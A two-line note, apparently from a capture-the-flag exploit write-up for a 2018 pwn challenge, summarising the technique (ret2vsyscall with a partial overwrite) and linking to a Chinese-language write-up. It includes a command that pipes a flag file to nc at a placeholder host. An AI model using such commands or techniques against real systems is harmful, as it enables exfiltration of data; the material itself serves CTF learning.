Use ret2vsyscall + partial overwrite to call system("cat flag| nc ip port")

See writeup [here](http://m4x.fun/post/whitehat2018-pwn-writeup/)(In Chinese)